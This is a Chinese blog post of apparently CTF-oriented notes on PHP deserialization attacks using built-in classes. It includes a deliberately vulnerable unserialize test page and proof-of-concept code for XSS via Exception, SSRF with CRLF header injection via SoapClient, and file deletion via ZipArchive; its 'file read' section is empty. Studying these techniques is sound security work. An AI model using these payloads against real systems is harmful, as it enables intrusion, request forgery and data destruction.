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php 反序列化原生类利用

 
  • Jun 08, 2023

PHP 反序列化原生类利用

枚举所有包含魔术方法的内置类

<?php
$classes = get_declared_classes();
foreach ($classes as $class) {
    $methods = get_class_methods($class);
    foreach ($methods as $method) {
        if (in_array($method, array(
            '__destruct',
            '__toString',
            '__wakeup',
            '__call',
            '__callStatic',
            '__get',
            '__set',
            '__isset',
            '__unset',
            '__invoke',
            '__set_state'
        ))) {
            print $class . '::' . $method . "\n";
        }
    }
}

结果如下：

Exception::__wakeup
Exception::__toString
ErrorException::__wakeup
ErrorException::__toString
Error::__wakeup
Error::__toString
CompileError::__wakeup
CompileError::__toString
ParseError::__wakeup
ParseError::__toString
TypeError::__wakeup
TypeError::__toString
ArgumentCountError::__wakeup
ArgumentCountError::__toString
ValueError::__wakeup
ValueError::__toString
ArithmeticError::__wakeup
ArithmeticError::__toString
DivisionByZeroError::__wakeup
DivisionByZeroError::__toString
UnhandledMatchError::__wakeup
UnhandledMatchError::__toString
ClosedGeneratorException::__wakeup
ClosedGeneratorException::__toString
FiberError::__wakeup
FiberError::__toString
DateTime::__wakeup
DateTime::__set_state
DateTimeImmutable::__wakeup
DateTimeImmutable::__set_state
DateTimeZone::__wakeup
DateTimeZone::__set_state
DateInterval::__wakeup
DateInterval::__set_state
DatePeriod::__wakeup
DatePeriod::__set_state
JsonException::__wakeup
JsonException::__toString
Random\RandomError::__wakeup
Random\RandomError::__toString
Random\BrokenRandomEngineError::__wakeup
Random\BrokenRandomEngineError::__toString
Random\RandomException::__wakeup
Random\RandomException::__toString
ReflectionException::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionType::__toString
ReflectionNamedType::__toString
ReflectionUnionType::__toString
ReflectionIntersectionType::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionClassConstant::__toString
ReflectionExtension::__toString
ReflectionZendExtension::__toString
ReflectionAttribute::__toString
ReflectionEnum::__toString
ReflectionEnumUnitCase::__toString
ReflectionEnumBackedCase::__toString
LogicException::__wakeup
LogicException::__toString
BadFunctionCallException::__wakeup
BadFunctionCallException::__toString
BadMethodCallException::__wakeup
BadMethodCallException::__toString
DomainException::__wakeup
DomainException::__toString
InvalidArgumentException::__wakeup
InvalidArgumentException::__toString
LengthException::__wakeup
LengthException::__toString
OutOfRangeException::__wakeup
OutOfRangeException::__toString
RuntimeException::__wakeup
RuntimeException::__toString
OutOfBoundsException::__wakeup
OutOfBoundsException::__toString
OverflowException::__wakeup
OverflowException::__toString
RangeException::__wakeup
RangeException::__toString
UnderflowException::__wakeup
UnderflowException::__toString
UnexpectedValueException::__wakeup
UnexpectedValueException::__toString
CachingIterator::__toString
RecursiveCachingIterator::__toString
SplFileInfo::__toString
DirectoryIterator::__toString
FilesystemIterator::__toString
RecursiveDirectoryIterator::__toString
GlobIterator::__toString
SplFileObject::__toString
SplTempFileObject::__toString
SplFixedArray::__wakeup
AssertionError::__wakeup
AssertionError::__toString
SodiumException::__wakeup
SodiumException::__toString
PDOException::__wakeup
PDOException::__toString
DOMException::__wakeup
DOMException::__toString
FFI\Exception::__wakeup
FFI\Exception::__toString
FFI\ParserException::__wakeup
FFI\ParserException::__toString
IntlException::__wakeup
IntlException::__toString
mysqli_sql_exception::__wakeup
mysqli_sql_exception::__toString
PharException::__wakeup
PharException::__toString
Phar::__destruct
Phar::__toString
PharData::__destruct
PharData::__toString
PharFileInfo::__destruct
PharFileInfo::__toString
SimpleXMLElement::__toString
SimpleXMLIterator::__toString
PhpToken::__toString

可以序列化的内置类

  • Exception
  • Error
  • ZipArchive
  • SoapClient

php标准库

https://www.php.net/manual/zh/book.spl.php

测试环境

测试代码：

<?php
$a = unserialize($_GET['name']);
echo $a;
?>

利用 Error/Exception 内置类进行 XSS

POC:

<?php
$a = new Exception("<script>alert('xss2')</script>");
$b = serialize($a);
echo urlencode($b);  
?>

利用 SoapClient 类进行 SSRF

<?php
$ua = "z3eyond\r\nX-Forwarded-For: 127.0.0.1,127.0.0.1\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 13\r\n\r\ntoken=ctfshow";

$client = new SoapClient(null,array('uri' => 'http://127.0.0.1/' , 'location' => 'http://127.0.0.1/flag.php' , 'user_agent' => $ua));

print_r(urlencode(serialize($client)));

利用 ZipArchive 进行文件操作

文件删除

$zip=unserialize('O:10:"ZipArchive":6:{s:6:"lastId";i:0;s:6:"status";i:0;s:9:"statusSys";i:0;s:8:"numFiles";i:0;s:8:"filename";s:0:"";s:7:"comment";s:0:"";}');
$zip->open("a.php", 8); //ZipArchive::OVERWRITE

文件读取

参考

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